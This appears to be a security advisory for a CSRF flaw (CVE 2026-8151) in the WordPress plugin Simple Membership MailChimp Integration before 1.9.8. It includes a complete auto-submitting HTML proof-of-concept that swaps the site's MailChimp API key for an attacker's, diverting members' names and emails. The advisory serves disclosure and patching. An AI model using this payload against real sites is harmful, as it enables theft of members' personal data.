Simple Membership MailChimp Integration < 1.9.8 – API Key Update via CSRF | CVE 2026-8151

Description

The plugin does not have CSRF checks in its settings page, allowing attackers to trick a logged-in administrator into changing the configured third-party API key. Once replaced, all subsequent member registration data (name, email, membership level) is sent to the attacker-controlled account.

Proof of Concept

Prerequisites:
- Simple Membership and Simple Membership MailChimp Integration plugins are installed and active.
- A site administrator visits the attacker-controlled page while logged into WordPress.

Steps:

1. Host the following HTML on an attacker-controlled page:

<html>
<body>
<form action="https://TARGET/wp-admin/admin.php?page=swpm-mailchimp" method="POST">
  <input type="hidden" name="mc_api_key" value="ATTACKER_MAILCHIMP_API_KEY_HERE">
  <input type="hidden" name="mc_enable_double_optin" value="0">
  <input type="hidden" name="mc_remove_when_cancelled" value="0">
  <input type="hidden" name="swpm_mc_save_settings" value="Save">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Trick a logged-in WordPress administrator into visiting the page; the form auto-submits.

Expected result:
- The `swpm_mailchimp_settings` WordPress option is updated and `mc_api_key` is set to `ATTACKER_MAILCHIMP_API_KEY_HERE`.
- All subsequent member registrations submit first_name, last_name, email, and membership_level to the attacker-controlled MailChimp account.